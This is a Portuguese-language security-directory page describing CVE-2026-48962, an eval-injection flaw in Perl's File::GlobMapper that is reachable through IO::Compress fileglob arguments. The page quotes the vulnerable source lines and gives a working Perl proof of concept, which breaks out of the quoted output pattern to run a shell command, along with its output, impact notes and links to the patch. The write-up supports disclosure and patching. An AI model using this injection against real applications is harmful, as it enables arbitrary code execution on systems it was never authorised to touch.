Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-48962 — CVE-2026-48962 - IO::Compress - Code Execution | Kitploit
Ferramentas/GitHubGitHub/joakimbulow/cve-2026-48962
Vulnerability AnalysisCode AnalysisExploitationPapers & ResearchLearning & Education
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - Code Execution

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Resumo

Uma vulnerabilidade de injeção de eval em File::GlobMapper::_getFiles() permite que qualquer atacante que consiga controlar o argumento de fileglob de saída passado para IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() ou qualquer função similar execute código Perl arbitrário no contexto do processo em execução. Nenhuma autenticação é necessária. O impacto é total: confidencialidade, integridade e disponibilidade do processo hospedeiro são completamente comprometidos.


Detalhes

File::GlobMapper::_parseOutputGlob() constrói um modelo de nome de arquivo de saída envolvendo o padrão de saída fornecido pelo chamador em aspas duplas do Perl e armazenando o resultado. _getFiles() então passa essa string diretamente para eval sem qualquer sanitização:

lib/File/GlobMapper.pm:316–321

root@kitploit:~
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping

lib/File/GlobMapper.pm:342

root@kitploit:~
eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point

File::GlobMapper é invocado automaticamente sempre que ambos os argumentos de entrada e saída de uma função IO::Compress::* / IO::Uncompress::* são strings fileglob (delimitadas por < >). Esta é uma convenção de chamada documentada e comum. As funções afetadas incluem gzip, zip, bzip2, deflate, rawdeflate e todas as contrapartes IO::Uncompress::*.

Qualquer caractere que feche a string Perl entre aspas duplas circundantes — uma aspa literal ", uma crase, ${...} ou @{...} — seguido de código Perl arbitrário é executado literalmente.


PoC

Salve como poc.pl e execute com perl poc.pl:

root@kitploit:~
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

Saída esperada:

root@kitploit:~
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

Confirmado em IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.


Impacto

Esta é uma vulnerabilidade de execução remota de código. Qualquer aplicação web, serviço de API, ferramenta CLI ou pipeline de processamento em lote que aceite entrada do usuário e a passe como argumento de fileglob de saída para qualquer função IO::Compress::* está vulnerável. O código injetado é executado com todos os privilégios do processo chamador.

Quem é impactado: Desenvolvedores e operadores de aplicações Perl que utilizam funções IO::Compress::* com a convenção de chamada fileglob e onde o padrão de saída é derivado de entrada não confiável – como modelos de nomes de arquivo de formulários web, parâmetros de API REST, argumentos de CLI ou arquivos de configuração controlados por usuários não privilegiados.

Em contextos setuid ou de daemon privilegiado, a exploração resulta em execução de código no nível de privilégio elevado. O bug está presente desde o lançamento inicial do File::GlobMapper (≈ 2005) e está presente em todas as distribuições Linux que incluem o pacote perl.

Referências

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
Baixar ferramenta